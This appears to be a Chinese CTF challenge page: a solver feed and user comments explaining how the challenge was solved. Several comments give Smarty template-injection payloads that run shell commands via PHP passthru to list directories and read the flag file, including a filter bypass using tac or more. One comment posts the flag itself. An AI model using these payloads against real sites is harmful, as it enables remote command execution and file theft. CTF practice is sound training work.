评分(13)
解题动态
easier 攻破了该题 1天前
vsk666 攻破了该题 1天前
ctfd大神 攻破了该题 2天前
Fnalist1 攻破了该题 3天前
L520 攻破了该题 3天前
aboic 攻破了该题 3天前
3505232853 攻破了该题 5天前
CrazyRabbit 攻破了该题 5天前
xshzgjshpy 攻破了该题 5天前
白菜白又白 攻破了该题 6天前
辛笙 攻破了该题 6天前
igrazee 攻破了该题 8天前
zzuer 攻破了该题 9天前
out不慢 攻破了该题 10天前
邪恶的番茄 攻破了该题 10天前
hbynb 攻破了该题 11天前
zrc2682 攻破了该题 11天前
南京交通第一深情徐立超 攻破了该题 12天前
zhy2006 攻破了该题 13天前
评论
18904484271 2年前
举报
好垃圾的靶场,明明flag出来了,但是提交显示不正确
haker111 2年前
举报
看提示直接传值:?a,然后看到源码后进行解析,了解smarty模板。进行get传参,?a={if passthru('ls')}{/if} 查看当前目录,然后转到根目录下,?a={if passthru('ls /')}{/if},每个人的根目录下的第一个子目录不同,所以flag不同,查看第一目录?a=?a={if passthru('tac /_2096')}{/if},得到flag{...}
XRain 2年前
举报
没想起来 PHP 还有什么函数可以执行命令。不过,我用 scandir() 和 show_source() 就完成挑战了。 /?a={var_dump(scandir("/"))} 和 /?a={show_source("/_6583")}
冯飞99 2年前
举报
根据给出的提示发现可以通过/?回显得到源码,然后找到chatgpt解析一下源码,得知需要模板注入,构成payload,找到第二个源码再次让gpt翻译一下,得知在根目录下有个-数字的文件,由于cat命令用不了,使用tac命令查看得到flag。
wxy1343 2年前
举报
flag{d1342dda94d2f2b93118ff43530dcf77}
YZ_86 2年前
举报
bp抓包提交参数后会返回代码,根据代码可以发现有命令执行且过滤了哪几个函数{1*2}会发现返回2,这个时候用命令执行{passthru('ls /')},记得url转码,会发现返回结果有个图出的文件,cat被过滤了,用more查看就好{passthru('more /文件名')}。觉得清楚记得点赞,让更多人看到
s1amese 2年前
举报
/?w={{passthru("ls /")}} /?w={{passthru("more /_数字文件名")}}
s1amese 2年前
举报
passthru执行函数查看(ls),然后再查看列出的数字文件
gleason 2年前
举报
index.php?a={{passthru('more ../../../*|grep ff')}}
Whittebz 2年前
举报
{lf passthru("tac /_*")}{/if}